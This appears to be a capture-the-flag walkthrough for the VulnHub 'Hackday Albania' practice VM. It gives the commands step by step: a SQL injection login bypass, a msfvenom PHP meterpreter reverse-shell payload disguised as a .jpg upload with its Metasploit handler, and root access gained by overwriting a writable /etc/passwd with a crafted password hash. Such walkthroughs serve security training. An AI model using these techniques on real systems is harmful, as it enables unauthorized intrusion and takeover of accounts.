Hack the Hackday Albania VM (CTF Challenge)

This was used in HackDay Albania’s 2016 CTF. It uses DHCP.

Note: VMware users may have issues with the network interface doing down by default. You are recommended to use Virtualbox.

 Download the lab from: https://www.vulnhub.com/entry/hackday-albania,167/

 Let’s begin. First we run netdiscover(as usual).


Next we run nmap

nmap -p- A

Nmap result shows that our target is running http on port no.8008. So, we fire up our browser targeting

The message in the box translates to- “if I am, I know where to go :)”

We try for some hint in the page-source and find a comment at the bottom “Ok ok, but not here :)” Next we run nikto on our target

nikto -h

Upon discovering the existence of robots.txt, we open it up on our browser

All but one directory give us the same result.

The directory that proves to be worth visiting is

So, we discover another useful directory. Lets head towards it

Clicking on the client/ directory, we are greeted by a login page of very secure bank

Upon trying a single ‘as the username, we get an error page.

After trying multiple credentials, we finally succeed in logging in as the first user

‘ or ‘a’ = ‘a’ —


On the welcome page, we can find an option to upload a file. Let us create a php payload using msfvenom and try uploading it.

msfvenom -p php/meterpreter/reverse_tcp lhost= lport=4444 -f raw

We copy the php code and save it on a leafpad and save it in the name ra.php We try to upload the file but the webpage displays an error- “After we got hackedwe are allowing only image filesto upload such as jpg,jpeg, bmp etc…” Let’s rename our file to ra.jpg and try uploading it again.

Start the msf handler. msfconsole

use exploit/multi/handler

set payload php/meterpreter/reverse_tcp

set lhost

set lport 4444


Now we click on view ticket option under ra.jpg on our browser

And we have our meterpreter session. To get a proper shell and reach the tmp folder and find the os release, we fire up the following commands:


python3 -c ‘import pty; pty.spawn(“/bin/bash”);’

cd /tmp

lsb_release -a

Kernel exploits do not seem to work here since gcc is not installed on our target machine. So, we decide to go the other way. We download a shell called LinEnum.sh from github on another terminal using-

git clone https://github.com/rebootuser/LinEnum.git

Thereafter we start apache service on our machine

service apache2 start

Thereafter, we copy the LinEnum.sh file to var/www/html folder of our machine and returning to our victim’s shell, we upload the file to his tmp folder


Thereafter, change the permission of the uploaded file and run it.

chmod 777 LinEnum.sh


We discover that etc/passwd folder is writable.

And the encryption used by our victim’s machine is SHA512

We open the victim’s password file on the terminal itself

cat /etc/passwd

We then copy the entire contents of the file and copy it to a leafpad and name it as passwd. To know more about etc/passwd, please visit https://www.cyberciti.biz/faq/understanding-etcpasswd-file-format/ or https://www.digitalocean.com/community/tutorials/how-to-use-passwd-and-adduser-to-manage-passwords-on-a-linux-vps

Thereafter on another terminal, we generate a SHA512 encryption for a password “raj”

python -c ‘import crypt; print crypt.crypt(“raj”, “$6$saltsalt$”)’

We now copy this hash and replace it with the ‘x’ in the last line of our passwd file which we just saved in leafpad.

Next, we place this file named passwd in the var/www/html folder of our machine and upload it to the victim’s tmp folder


Now copy and replace this file with the passwd file present inside the etc folder.

cp passwd /etc/passwd

Then we try logging in with the user taviso

su taviso


Next we try the root’s login

sudo -i


Success. Now list the contents


here’s our flag. Read its contents using

cat flag.txt


Tani nis raportin!

Which translates to:-


Now begins the report!

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